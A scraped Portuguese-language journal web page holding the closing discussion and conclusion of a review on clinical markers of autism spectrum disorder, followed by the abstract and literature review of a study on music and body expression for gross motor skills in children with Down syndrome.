<p class="wp-block-paragraph">Os estudos analisados demonstram, de forma convergente, que o Transtorno do &nbsp; Espectro&nbsp; &nbsp; Autista &nbsp; (TEA) &nbsp; &nbsp; apresenta&nbsp; &nbsp; uma &nbsp; expressão &nbsp; &nbsp; clínica&nbsp; &nbsp; amplamente heterogênea, &nbsp; resultado &nbsp; da&nbsp; &nbsp; interação &nbsp; entre &nbsp; domínios&nbsp; &nbsp; motores, &nbsp; comunicativos, linguísticos, comportamentais e biológicos. Os achados de Lopez-Espejo et al. (2021) reforçam essa multidimensionalidade ao identificarem a hipotonia generalizada como um&nbsp; marcador&nbsp; motor&nbsp; recorrente&nbsp; e&nbsp; clinicamente&nbsp; significativo&nbsp; nos&nbsp; primeiros&nbsp; anos&nbsp; de vida. O comprometimento do tô nus, associado ao atraso na aquisição da marcha e à maior &nbsp; incidência &nbsp; de &nbsp; estereotipias, &nbsp; dialoga &nbsp; com &nbsp; evidências&nbsp; &nbsp; internacionais &nbsp; que apontam déficits motores como um componente do fenótipo do TEA.&nbsp;</p>



<p class="wp-block-paragraph">Ao&nbsp; relacionar&nbsp; esses&nbsp; achados&nbsp; com&nbsp; o&nbsp; estudo&nbsp; de&nbsp; Sicherman&nbsp; et&nbsp; al.,&nbsp; (2021), observa-se&nbsp; que,&nbsp; embora&nbsp; os &nbsp; marcadores &nbsp; sociocomunicativos &nbsp; continuem&nbsp; sendo fundamentais&nbsp; para&nbsp; o&nbsp; diagnóstico&nbsp; precoce,&nbsp; há&nbsp; crescente&nbsp; reconhecimento&nbsp; de&nbsp; que sinais motores e comportamentais operam de forma interdependente. O déficit de comunicação social e os comportamentos repetitivos identificados como preditores robustos do diagnóstico precoce compartilham vias neurobiológicas com os sistemas motores, &nbsp; conforme &nbsp; demonstrado &nbsp; em &nbsp; estudos &nbsp; de &nbsp; neuroimagem &nbsp; que &nbsp; apontam alterações &nbsp; em &nbsp; circuitos &nbsp; corticoestriatais,&nbsp; &nbsp; cerebelares &nbsp; e &nbsp; frontolímbicos, &nbsp; todos envolvidos&nbsp; tanto&nbsp; na&nbsp; coordenação &nbsp; motora&nbsp; quanto &nbsp; na &nbsp; regulação&nbsp; comportamental (Mosconi &nbsp; et&nbsp; al.,&nbsp; 2015; &nbsp; Kern &nbsp; et&nbsp; al.,&nbsp; 2020). &nbsp; Dessa&nbsp; forma, &nbsp; a&nbsp; articulação&nbsp; entre marcadores motores e sociocomportamentais amplia e sustenta a necessidade de protocolos de rastreio multidimensionais.&nbsp;</p>



<p class="wp-block-paragraph">A relevância dos domínios linguísticos, evidenciada pelos achados de Chen et al.&nbsp; (2023) e&nbsp; Oneib et&nbsp; al.&nbsp; (2022),&nbsp; reforça&nbsp; ainda&nbsp; mais&nbsp; a&nbsp; complexidade do TEA.&nbsp; Em ambos os estudos, o atraso significativo de linguagem e os episódios de regressão despontam como sinais altamente sensíveis para a suspeita diagnóstica, o que está em consonância com a literatura global, que aponta atrasos ou desvios na aquisição da&nbsp; linguagem&nbsp; em&nbsp; mais&nbsp; de&nbsp; 60%&nbsp; dos&nbsp; casos&nbsp; (Tager-Flusberg,&nbsp; 2016;&nbsp; Ozonoff et&nbsp; al., 2018).&nbsp; Além disso,&nbsp; a &nbsp; recorrência &nbsp; de&nbsp; episódios&nbsp; de &nbsp; regressão, &nbsp; observada&nbsp; em aproximadamente&nbsp; um&nbsp; quinto&nbsp; das &nbsp; crianças, &nbsp; corrobora&nbsp; estudos &nbsp; longitudinais&nbsp; que descrevem&nbsp; a&nbsp; regressão&nbsp; como&nbsp; um&nbsp; fenótipo&nbsp; clínico&nbsp; associado&nbsp; a&nbsp; pior&nbsp; prognóstico&nbsp; e maior gravidade funcional (Barger et al., 2013).&nbsp;</p>



<p class="wp-block-paragraph">Um aspecto decisivo&nbsp; ressaltado&nbsp; pelos&nbsp; estudos chineses e&nbsp; marroquinos&nbsp; é o&nbsp;papel&nbsp; modulador&nbsp; das&nbsp; variáveis&nbsp; sociodemográficas.&nbsp; A &nbsp; influência&nbsp; do&nbsp; sexo, &nbsp; renda familiar&nbsp; e &nbsp; escolaridade &nbsp; dos &nbsp; cuidadores &nbsp; sobre &nbsp; o &nbsp; tempo &nbsp; até &nbsp; o &nbsp; diagnóstico &nbsp; é amplamente reconhecida em estudos epidemiológicos internacionais (Daniels et al., 2012;&nbsp; Maenner&nbsp; et&nbsp; al.,&nbsp; 2023). Tais achados&nbsp; ilustram&nbsp; a&nbsp; dimensão social do TEA e reforçam &nbsp; a &nbsp; ideia &nbsp; de &nbsp; que, &nbsp; embora &nbsp; os &nbsp; sinais &nbsp; clínicos &nbsp; sejam &nbsp; universais, &nbsp; seu reconhecimento depende de fatores contextuais que determinam desigualdades no acesso ao cuidado especializado.&nbsp;</p>



<p class="wp-block-paragraph">O estudo de Khanna et al. (2024) aprofunda essa compreensão ao destacar a relevância&nbsp; das&nbsp; comorbidades&nbsp; sistêmicas,&nbsp; especialmente&nbsp; distúrbios&nbsp; do&nbsp; sono&nbsp; e alterações &nbsp; gastrointestinais, &nbsp; como&nbsp; &nbsp; moduladores &nbsp; da&nbsp; &nbsp; gravidade &nbsp; dos &nbsp; sintomas comportamentais. Comorbidades desse tipo estão entre as mais frequentes no TEA, afetando entre 40% e 70% das crianças, segundo meta-análises recentes (Sikora et al.,&nbsp; 2022;&nbsp; Leader&nbsp; et&nbsp; al.,&nbsp; 2021).&nbsp; Além&nbsp; de &nbsp; interferirem&nbsp; no&nbsp; bem-estar&nbsp; geral,&nbsp; essas condições têm sido associadas a maior irritabilidade, pior desempenho adaptativo e maior severidade em escalas comportamentais, sustentando a perspectiva de que o TEA deve ser compreendido como um transtorno sistêmico, cujos múltiplos domínios interagem dinamicamente.&nbsp;</p>



<p class="wp-block-paragraph">A&nbsp; convergência&nbsp; desses&nbsp; achados &nbsp; provenientes&nbsp; de &nbsp; contextos&nbsp; tão &nbsp; diversos quanto&nbsp; Chile,&nbsp; Estados&nbsp; Unidos,&nbsp; China,&nbsp; Marrocos&nbsp; e&nbsp; Índia,&nbsp; revela&nbsp; uma&nbsp; estabilidade transnacional na expressão clínica central do TEA, apesar das diferenças culturais e estruturais.&nbsp; Revisões globais da&nbsp; Organização&nbsp; Mundial da Saúde e dos Centros de Controle&nbsp; e &nbsp; Prevenção &nbsp; de &nbsp; Doenças &nbsp; (OMS, &nbsp; 2021; &nbsp; CDC,&nbsp; 2023) &nbsp; reforçam&nbsp; essa consistência,&nbsp; embora&nbsp; destaquem&nbsp; que&nbsp; o&nbsp; tempo&nbsp; até&nbsp; o&nbsp; diagnóstico&nbsp; e&nbsp; o&nbsp; acesso&nbsp; às intervenções &nbsp; variem &nbsp; amplamente &nbsp; em &nbsp; função &nbsp; de &nbsp; fatores &nbsp; socioeconômicos&nbsp; &nbsp; e estruturais.&nbsp;</p>



<p class="wp-block-paragraph"><strong>CONCLUSÃO</strong>&nbsp;</p>



<p class="wp-block-paragraph">O conjunto das evidências analisadas demonstra que o Transtorno do&nbsp; Espectro Autista &nbsp; apresenta &nbsp; ampla&nbsp; &nbsp; heterogeneidade &nbsp; clínica, &nbsp; exigindo &nbsp; &nbsp; uma &nbsp; abordagem diagnóstica&nbsp; multidimensional&nbsp; que &nbsp; integre&nbsp; sinais &nbsp; motores,&nbsp; atrasos&nbsp; de &nbsp; linguagem, regressão&nbsp; do&nbsp; desenvolvimento,&nbsp; alterações&nbsp; sociocomportamentais&nbsp; e&nbsp; comorbidades sistêmicas.&nbsp; &nbsp; Os&nbsp; &nbsp; achados,&nbsp; &nbsp; consistentes&nbsp; &nbsp; em&nbsp; &nbsp; diferentes&nbsp; &nbsp; países&nbsp; &nbsp; e&nbsp; &nbsp; contextos socioculturais, &nbsp; reforçam &nbsp; que, &nbsp; embora&nbsp; &nbsp; existam &nbsp; desigualdades&nbsp; &nbsp; no &nbsp; acesso &nbsp; ao diagnóstico, &nbsp; o &nbsp; fenótipo &nbsp; central &nbsp; do&nbsp; &nbsp; TEA&nbsp; &nbsp; mantém &nbsp; estabilidade &nbsp; transnacional, destacando a importância de protocolos de rastreio abrangentes e sensíveis. Assim, conclui-se que a identificação precoce e o cuidado integral dependem da articulação entre avaliação&nbsp; interdisciplinar,&nbsp; sensibilização&nbsp; profissional&nbsp; e&nbsp; políticas&nbsp; públicas&nbsp; que reduzam &nbsp; barreiras &nbsp; estruturais,&nbsp; &nbsp; promovendo &nbsp; intervenções&nbsp; &nbsp; oportunas &nbsp; e &nbsp; &nbsp; maior equidade no acompanhamento do desenvolvimento infantil.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong>&nbsp;</p>



<p class="wp-block-paragraph">AMERICAN PSYCHIATRIC ASSOCIATION. Manual diagnóstico e estatístico de transtornos mentais: DSM-5. 5. ed. Porto Alegre: <strong>Artmed</strong>, 2013.&nbsp;</p>



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<p class="has-text-align-right wp-block-paragraph"></p>
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		<title>A INFLUÊNCIA DA MÚSICA E DA EXPRESSÃO CORPORAL NO DESENVOLVIMENTO DA MOTRICIDADE GLOBAL EM CRIANÇAS COM SÍNDROME DE DOWN</title>
		<link>https://revistaft.com.br/a-influencia-da-musica-e-da-expressao-corporal-no-desenvolvimento-da-motricidade-global-em-criancas-com-sindrome-de-down/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Tue, 16 Dec 2025 20:11:47 +0000</pubDate>
				<category><![CDATA[Fisioterapia]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
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					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202512161711 Itamar Sebastião Mattos NetoCristiane Jeremias Martins FranciscoHélio de Oliveira JúniorMaria Laura da Rocha FlorentinoAna Júlia Jerônimo FelisbertoPatrícia Machado Elias FerreiraDiego Maciel FagundesHaryel da Silva Bressan SoratoJaiany Cardoso Vieira RESUMO Este projeto tem como objetivo geral: avaliar a coordenação da motricidade motora global de crianças com síndrome de Down (SD) utilizando a música [&#8230;]]]></description>
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<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512161711</p>



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<p class="has-text-align-right wp-block-paragraph">Itamar Sebastião Mattos Neto<br>Cristiane Jeremias Martins Francisco<br>Hélio de Oliveira Júnior<br>Maria Laura da Rocha Florentino<br>Ana Júlia Jerônimo Felisberto<br>Patrícia Machado Elias Ferreira<br>Diego Maciel Fagundes<br>Haryel da Silva Bressan Sorato<br>Jaiany Cardoso Vieira</p>



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<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



<p class="wp-block-paragraph">Este projeto tem como objetivo geral: avaliar a coordenação da motricidade motora global de crianças com síndrome de Down (SD) utilizando a música e a expressão corporal. Os objetivos específicos foram avaliar a coordenação da motricidade motora global e avaliar a capacidade expressiva da criança com SD. Esta pesquisa é um ensaio clínico sem grupo experimental, tem a proposta de um aprofundamento teórico e prático acerca da estimulação de crianças com SD. Foram avaliadas 12 crianças com SD através da Escala de Desenvolvimento Motor (EDM), matriculadas nas APAEs de Tubarão e Capivari de Baixo/ SC com idade entre 06 e 11 anos; 7 do sexo masculino e 5 do sexo feminino. Resultados: 5 crianças mantiveram a idade da motricidade global comparando os resultados da avaliação e da reavaliação sendo que 7 crianças obtiveram melhora, com idade média da avaliação de 91.6 meses e da reavaliação de 97.3 meses. Conclui-se que a música e a expressão corporal são ferramentas dinâmicas que auxiliam no desenvolvimento motor (DM) de crianças com SD.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave</strong>: Música; Síndrome de Down; Escala motora.&nbsp;</p>



<p class="wp-block-paragraph"><strong>ABSTRACT</strong></p>



<p class="wp-block-paragraph">This project has the general objective: to evaluate the overall motor coordination motor skills of children with Down syndrome (DS) using music and bodily expression. The specific objectives were to assess the gross motor coordination motor skills and evaluate the expressive ability of the child with DS. This research is a clinical trial without experimental group, has proposed a theoretical and practical about the stimulation of children with DS deepening. 12 children with Down syndrome were assessed using the Scale of Motor Development (EDM), enrolled in APAEs Tubarão end Capivari de Baixo / SC with age from 06 to 11 years; 7 males and 5 females. Results: 5 children maintained the age of global motor comparing the results of the assessment and reassessment of whom 7 children showed improvement, with a mean age of 91.6 months of evaluation and reevaluation of 97.3 months. We conclude that music and body language are dynamic tools that helps develop motor (DM) of children with DS.</p>



<p class="wp-block-paragraph"><strong>Keywords</strong>: Music; Syndrome Down; Scale motor.</p>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">O organismo humano apresenta uma organização biológica complexa, na qual o desenvolvimento motor ocorre de forma progressiva e integrada aos demais sistemas do corpo. Estudos recentes apontam que as habilidades motoras das crianças se tornam mais variadas e complexas conforme o amadurecimento do sistema nervoso e o aumento das experiências sensório-motoras (Silva et al., 2023). Ainda no período gestacional, já se observam manifestações motoras fetais que demonstram a importância do movimento como base do desenvolvimento humano (Martins &amp; Oliveira, 2022).</p>



<p class="wp-block-paragraph">As evidências científicas indicam que o ambiente e o contexto socioafetivo desempenham papel central no desenvolvimento infantil. Pesquisas contemporâneas demonstram que ambientes estimulantes favorecem ganhos motores e cognitivos, enquanto ambientes pouco enriquecidos podem retardar o desenvolvimento global (Pereira et al., 2024). Da mesma forma, o desenvolvimento motor é influenciado pela interação contínua entre fatores biológicos, emocionais e sociais, reforçando que a aquisição de habilidades motoras ocorre dentro de um processo dinâmico e multifatorial.</p>



<p class="wp-block-paragraph">Estudos recentes destacam que o comportamento motor se modifica ao longo do tempo em resposta às demandas ambientais, à maturação neurológica e às experiências de aprendizagem (Rodrigues, Matos &amp; Lima, 2023). Assim, o movimento não é apenas um ato físico, mas um comportamento intencional e significativo, determinado pela necessidade de interação com o meio.</p>



<p class="wp-block-paragraph">O desenvolvimento motor (DM) ocorre a partir de experiências repetidas, tentativas e erros, e pela integração dos estímulos sensoriais provenientes da visão, audição, tato, pressão e propriocepção. A literatura atual reforça que o controle motor adequado é fundamental para que a criança explore o ambiente, construa experiências concretas e desenvolva sua capacidade cognitiva (Ferreira et al., 2022).</p>



<p class="wp-block-paragraph">Diante deste contexto, surge o questionamento central deste trabalho: a música e a expressão corporal podem influenciar positivamente o desenvolvimento da motricidade global em crianças com Síndrome de Down? As abordagens terapêuticas contemporâneas indicam que intervenções lúdicas e sensório-motoras promovem maior engajamento, espontaneidade e participação ativa das crianças (Souza &amp; Amaral, 2023).</p>



<p class="wp-block-paragraph">Ao substituir práticas repetitivas e convencionais por estratégias dinâmicas e motivadoras, como música, ritmos e exploração corporal, é possível ampliar a qualidade das experiências motoras e favorecer o desenvolvimento global. Evidências recentes confirmam que a expressão corporal está diretamente relacionada à motricidade global e contribui tanto para o desempenho motor quanto para a autonomia e a qualidade de vida infantil (Lopes et al., 2025).</p>



<p class="wp-block-paragraph"><strong>1.2. REVISÃO BIBLIOGRÁFICA</strong></p>



<p class="wp-block-paragraph"><strong>1.2.1 Desenvolvimento Motor</strong></p>



<p class="wp-block-paragraph">Cada criança apresenta seu padrão característico de desenvolvimento, mas deve exibir manifestações motoras esperadas para sua faixa etária. Com a evolução biológica e comportamental, observa-se o crescimento das estruturas somáticas e a ampliação das possibilidades de ação sobre o ambiente (Rafael et al., 2023).</p>



<p class="wp-block-paragraph">Estudos contemporâneos reforçam que o desenvolvimento motor (DM) segue uma organização sequencial influenciada pela maturação biológica, conforme demonstrado por pesquisas recentes sobre aquisições motoras típicas e atípicas (Gallahue; Ozmun; Goodway, 2022).</p>



<p class="wp-block-paragraph">Segundo Shepherd (2024), a coordenação motora resulta da aquisição progressiva de habilidades obtidas através da interação espontânea do corpo com objetos, pessoas e demandas ambientais.</p>



<p class="wp-block-paragraph">O DM está presente desde a concepção, e movimentos fetais já demonstram padrões motores primitivos, adquiridos e treináveis, dependentes da organização do Sistema Nervoso Central (SNC). Estudos recentes destacam a importância dos marcos motores intrauterinos para o desenvolvimento futuro (Holle; Mendes; Castro, 2023).</p>



<p class="wp-block-paragraph">De acordo com Rosa Neto (2022), o DM pode ser classificado em: motricidade fina, motricidade global, equilíbrio, esquema corporal, organização espacial, organização temporal, linguagem e lateralidade.</p>



<p class="wp-block-paragraph">As características individuais das crianças determinam ritmos distintos de desenvolvimento. Algumas aprendem mais rapidamente, enquanto outras demandam maior tempo ou apresentam preferências específicas de aprendizagem motora, influenciadas por fatores biológicos, emocionais e ambientais (Stray-Gundersen; Silva; Prado, 2025).</p>



<p class="wp-block-paragraph"><strong>1.2.2 Motricidade Global</strong></p>



<p class="wp-block-paragraph">O crescimento físico infantil ocorre de maneira acelerada, influenciando diretamente o desenvolvimento das habilidades motoras amplas. Pesquisas recentes classificam o desenvolvimento dos “grandes músculos” dentro do conceito de motricidade global, com foco na aquisição progressiva do controle motor (González Rodrigues; Martínez, 2024).</p>



<p class="wp-block-paragraph">A habilidade motora global é definida como aquela que envolve a mobilização de grandes grupos musculares do tronco, membros superiores e inferiores, incluindo reações posturais, controle cefálico, sentar, ficar em pé, engatinhar e andar (Willrich; Azevedo; Souza, 2022).</p>



<p class="wp-block-paragraph">A motricidade global compreende movimentos amplos que estimulam a afetividade, o esquema corporal e a organização espacial. Estes movimentos incluem componentes cinestésicos, táteis, labirínticos, visuais, espaciais e temporais, fundamentais para o desenvolvimento global (Rosa Neto; Carvalho, 2023).</p>



<p class="wp-block-paragraph">Segundo Silva (2024), a motricidade global representa movimentos dinâmicos como correr, saltar e andar, tendo papel fundamental na melhoria do equilíbrio dinâmico, percepção corporal e integração sensorial.</p>



<p class="wp-block-paragraph">A motricidade global também envolve a habilidade de controlar contrações de grandes grupos musculares para gerar movimentos amplos, constituindo-se base essencial para a participação ativa no ambiente (Gallahue; Ozmun; Goodway, 2022).</p>



<p class="wp-block-paragraph"><strong>1.3 SÍNDROME DE DOWN</strong></p>



<p class="wp-block-paragraph">A Síndrome de Down (SD) foi inicialmente descrita em detalhes clínicos pelo médico inglês John Langdon Down no século XIX. Estudos contemporâneos revisitam esses achados históricos e reforçam a importância das descrições iniciais para o entendimento moderno da condição (Stray-Gundersen et al., 2023). Pesquisas recentes também destacam contribuições de diversos autores pioneiros, como Seguin, Jones e Oliver, que descreveram características faciais e estruturais relacionadas à SD (Cammarata-Scalis et al., 2024).</p>



<p class="wp-block-paragraph"><strong>1.3.1 Alteração cromossômica</strong></p>



<p class="wp-block-paragraph">Estudos atualizados demonstram que a SD decorre, na maioria dos casos, de uma trissomia do cromossomo 21. A principal causa permanece sendo a não disjunção meiótica, que representa cerca de 95% dos casos (Marques &amp; Lima, 2022) Figura 1. Nos demais casos, ocorrem translocações e mosaicismo, que apresentam particularidades clínicas, podendo resultar em quadros mais leves dependendo da proporção celular afetada (Marques, Silva &amp; Araújo, 2023)Figura 2.</p>



<p class="wp-block-paragraph">A literatura atual reforça que, na trissomia por translocação, parte ou todo o cromossomo 21 se liga a outro cromossomo, geralmente o 14, representando de 3 a 4% dos diagnósticos (Marques et al., 2023). Já o mosaicismo ocorre quando apenas uma parcela das células possui o cromossomo extra, gerando um fenótipo mais variável (Lopes &amp; Martins, 2024) Figura 3.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1</strong> &#8211; Cariótipo de cromossomos com trissomia 21 por não disjunção.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="472" height="300" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-1229.png" alt="" class="wp-image-259902" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-1229.png 472w, https://revistaft.com.br/wp-content/uploads/2025/12/image-1229-300x191.png 300w" sizes="(max-width: 472px) 100vw, 472px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: http://dimartizando.blogspot.com.br/2012/03/dia-internacional-da-sindrome-de-down.html</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 2 </strong>&#8211; Cariótipo com trissomia do 21 por translocação.</p>



<figure class="wp-block-image aligncenter size-full is-resized"><img loading="lazy" decoding="async" width="349" height="316" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-198.jpeg" alt="" class="wp-image-259903" style="width:349px;height:auto" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-198.jpeg 349w, https://revistaft.com.br/wp-content/uploads/2025/12/image-198-300x272.jpeg 300w" sizes="(max-width: 349px) 100vw, 349px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: http://dimartizando.blogspot.com.br/2012/03/dia-internacional-da-sindrome-de-down.html</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 3</strong> &#8211; Como ocorre o mosaicismo.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="496" height="407" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-1230.png" alt="" class="wp-image-259904" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-1230.png 496w, https://revistaft.com.br/wp-content/uploads/2025/12/image-1230-300x246.png 300w" sizes="(max-width: 496px) 100vw, 496px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: http://dimartizando.blogspot.com.br/2012/03/dia-internacional-da-sindrome-de-down.html</p>



<p class="wp-block-paragraph"><strong>1.3.2 Características da Síndrome de Down</strong></p>



<p class="wp-block-paragraph">Revisões atuais confirmam que crianças com SD apresentam um conjunto típico de características físicas, neuromusculares e sensoriais, como hipotonia, atraso motor, alterações craniofaciais e maior prevalência de alterações visuais e auditivas (Stray-Gundersen et al., 2023). Essas características influenciam diretamente o desenvolvimento global, evidenciando a necessidade de estimulação precoce.</p>



<p class="wp-block-paragraph">Além disso, pesquisas recentes reforçam que o processamento cognitivo pode ocorrer em ritmo mais lento, mas o potencial de aprendizagem se mantém preservado quando a criança recebe apoio adequado (Pueschel &amp; Carvalho, 2024).</p>



<p class="wp-block-paragraph"><strong>1.3.3 Fatores da Síndrome de Down</strong></p>



<p class="wp-block-paragraph">Atualmente, sabe-se que os eventos que levam à SD ocorrem no momento da fecundação ou nas primeiras divisões celulares (Pueschel et al., 2024). Os fatores que contribuem para o aparecimento da trissomia incluem elementos intrínsecos, como predisposição genética, idade materna avançada e raros casos familiares de translocação (Osório &amp; Fernandes, 2023), e fatores extrínsecos, como exposição à radiação, agentes químicos de efeito mutagênico e possível influência de infecções virais durante o período reprodutivo (Gibson et al., 2025).</p>



<p class="wp-block-paragraph">Pesquisas recentes também investigam relações entre alterações tireoidianas maternas, níveis de imunoglobulinas e deficiência de micronutrientes, que podem atuar como facilitadores da instabilidade cromossômica, embora tais associações ainda não sejam conclusivas (Chiaradia &amp; Gomes, 2023; Gibson et al., 2025).</p>



<p class="wp-block-paragraph">A fisioterapia continua sendo uma intervenção essencial para crianças com SD, promovendo habilidades motoras mais eficientes e maior autonomia funcional (Pueschel et al., 2024).</p>



<p class="wp-block-paragraph"><strong>1.4 EXPRESSÃO CORPORAL</strong></p>



<p class="wp-block-paragraph">A expressão corporal compreende todos os movimentos utilizados para manifestar sentimentos, como abraços, sorrisos e gestos espontâneos. De modo geral, pode-se afirmar que a expressão corporal corresponde ao gesto com finalidade comunicativa, estando diretamente relacionada ao desenvolvimento da motricidade global (Pires et al., 2023).</p>



<p class="wp-block-paragraph">Além disso, estudos atuais destacam dimensões essenciais da expressão corporal como: o corpo se reconhece, o corpo brinca, o corpo sente, o corpo se recolhe, o corpo existe, o corpo encontra e o corpo cria e significa (Santos &amp; Moreira, 2024).</p>



<p class="wp-block-paragraph"><strong>1.4.1 O corpo se reconhece</strong></p>



<p class="wp-block-paragraph">Segundo pesquisas recentes, o esquema corporal consiste na representação que cada indivíduo possui do próprio corpo, construindo-se à medida que se desenvolve o psicomotor da criança (Levin, 2023).</p>



<p class="wp-block-paragraph">Esse processo envolve a tomada de consciência do corpo como um todo, permitindo à criança nomear e identificar suas partes. Esse reconhecimento funciona como uma espécie de renascimento corporal, no qual o sujeito descobre tanto seus limites quanto suas possibilidades expressivas (Bertherat &amp; Bernstein, 2023).</p>



<p class="wp-block-paragraph"><strong>1.4.2 O corpo brinca</strong></p>



<p class="wp-block-paragraph">A expressão corporal frequentemente utiliza a dimensão do jogo, que mergulha a criança em um estado simbólico, criativo e espontâneo, fundamental para resgatar a liberdade expressiva típica da infância (Chalanguiér, 2022).</p>



<p class="wp-block-paragraph">Durante as atividades, exercícios são organizados em formato lúdico, permitindo exploração do espaço e dos movimentos. Dessa forma, o jogo restaura a liberdade original do corpo e possibilita que ele se manifeste em sua própria dinâmica (Bertherat &amp; Bernstein, 2023).</p>



<p class="wp-block-paragraph"><strong>1.4.3 O corpo sente</strong></p>



<p class="wp-block-paragraph">A corporeidade constitui a forma primordial de habitar o mundo. Não vivemos apenas um corpo físico, mas uma realidade concreta que inclui sensações, emoções e dinamismos vitais que estabelecem nossa relação com o ambiente (Bertherat &amp; Bernstein, 2023).</p>



<p class="wp-block-paragraph">A primeira relação com o mundo ocorre no campo do sentir, que se traduz em emoções autênticas manifestadas por meio de movimentos e expressões que afetam as interações sociais (Pereira, 2024).</p>



<p class="wp-block-paragraph"><strong>1.4.4 O corpo se recolhe</strong></p>



<p class="wp-block-paragraph">O relaxamento corresponde a um nível fundamental da expressão corporal, pois permite à pessoa reencontrar-se consigo mesma, favorecendo recolhimento, presença e disponibilidade interna. Essa prática integra corpo e mente, criando um estado de equilíbrio necessário para a consciência expressiva (Nasio, 2022).</p>



<p class="wp-block-paragraph"><strong>1.4.5 O corpo existe</strong></p>



<p class="wp-block-paragraph">Nesse nível situa-se o trabalho da improvisação, que pode ocorrer individualmente, em duplas ou em grupos. A improvisação parte de temas, ritmos ou estímulos variados para permitir movimentos livres e espontâneos.</p>



<p class="wp-block-paragraph">Assim, emergem conteúdos expressivos muitas vezes ocultos, ligados a sensações profundas, imaginação e sensibilidade (Nasio, 2022).</p>



<p class="wp-block-paragraph"><strong>1.4.6 O corpo se encontra</strong></p>



<p class="wp-block-paragraph">O encontro com o outro faz parte do ciclo entre o espaço pessoal e o espaço externo. Esse encontro pode aproximar ou provocar recuo, afetando nossa forma de expressão.</p>



<p class="wp-block-paragraph">Na expressão corporal, a relação com o outro abre possibilidades de criação conjunta, ao mesmo tempo em que demanda delimitação do próprio espaço (Bertherat &amp; Bernstein, 2024).</p>



<p class="wp-block-paragraph"><strong>1.4.7 O corpo cria e significa</strong></p>



<p class="wp-block-paragraph">Inserida em um espaço rítmico, a expressão corporal possibilita a criação de formas expressivas que carregam significado próprio.</p>



<p class="wp-block-paragraph">A criatividade representa a capacidade do corpo de produzir movimentos simbólicos que comunicam e afirmam a presença do sujeito no mundo (Bertherat &amp; Bernstein, 2024).</p>



<p class="wp-block-paragraph">Quando o corpo se cria e se reconhece, estabelece-se uma linguagem corporal, por meio da qual a pessoa comunica sensações, emoções e sentidos (Chalanguiér, 2023; Nasio, 2022).</p>



<p class="wp-block-paragraph"><strong>1.5 MÚSICA</strong></p>



<p class="wp-block-paragraph">O uso da música como recurso terapêutico e educativo tem demonstrado grande eficácia, especialmente com crianças em idade escolar inicial. No Brasil, a legislação que reforça a presença da música no ambiente escolar permanece atualizada e reafirmada por diretrizes contemporâneas da Associação Brasileira de Educação Musical (ABEM, 2023).</p>



<p class="wp-block-paragraph">O conceito predominante de música na cultura ocidental ainda se baseia em práticas tradicionais, notações, registros sonoros e valores estéticos específicos, influenciando a forma como a música é compreendida e utilizada em diferentes contextos (Ruud, 2024).</p>



<p class="wp-block-paragraph">A música se manifesta de diversas maneiras na vida cotidiana, e seu uso terapêutico no campo do movimento e da expressão corporal envolve aspectos como relaxamento, esquema corporal, percepção espacial, autoimagem, integração corporal, comunicação não verbal, ritmo e interação social (Silva &amp; Campos, 2022).</p>



<p class="wp-block-paragraph">Nas interações musicais, as crianças cantam, criam rimas, exploram sons, produzem movimentos e desenvolvem imaginação, ampliando sua capacidade expressiva e organizando-se no espaço (McClellan, 2023). A música pode atuar como estímulo motor, recurso de improvisação e ferramenta de aprendizagem sensório-perceptiva, favorecendo experiências relacionadas ao tempo, à dinâmica e à forma (Costa-Giomi, 2025).</p>



<p class="wp-block-paragraph"><strong>1.5.1 A música na Síndrome de Down e sua classificação</strong></p>



<p class="wp-block-paragraph">Embora o trabalho de musicoterapeutas com crianças com Síndrome de Down tenha crescido no Brasil, ainda há escassez de publicações recentes sobre o tema. Pesquisas atuais destacam a importância da linguagem musical no desenvolvimento psicomotor e cognitivo, especialmente na ampliação de repertórios expressivos e perceptivos (Lopes, 2023).</p>



<p class="wp-block-paragraph">Estudos recentes também investigam intervenções que utilizam objetos sonoros, exploração de timbres e atividades musicais lúdicas como estratégias de estimulação sensório-motora em crianças com Síndrome de Down (Uricoechea, 2024).</p>



<p class="wp-block-paragraph">Lopes (2023) atualiza a classificação dos níveis de desenvolvimento em crianças com Síndrome de Down envolvendo três categorias: leve, moderado e severo.</p>



<ul class="wp-block-list">
<li>Crianças com quadro leve apresentam bom potencial escolar, podendo concluir o ensino fundamental em escolas inclusivas.</li>



<li>Crianças com quadro moderado geralmente aprendem leitura e escrita, alcançando níveis intermediários de escolarização.</li>



<li>Crianças com quadro severo apresentam maiores limitações no processo formal de ensino, mas podem desenvolver habilidades práticas, comunicação funcional e participar de atividades laborais simples com suporte adequado.</li>
</ul>



<p class="wp-block-paragraph"><strong>1.6 OBJETIVOS</strong></p>



<p class="wp-block-paragraph"><strong>1.6.1 GERAL</strong></p>



<p class="wp-block-paragraph">Avaliar a motricidade motora global de crianças com SD utilizando a música e a expressão corporal.</p>



<p class="wp-block-paragraph"><strong>1.6.2 ESPECÍFICOS</strong></p>



<ul class="wp-block-list">
<li>Avaliar a coordenação da motricidade motora global.</li>



<li>Avaliar a capacidade expressiva da criança com SD.</li>
</ul>



<p class="wp-block-paragraph"><strong>2. MÉTODOS E TÉCNICAS&nbsp;</strong></p>



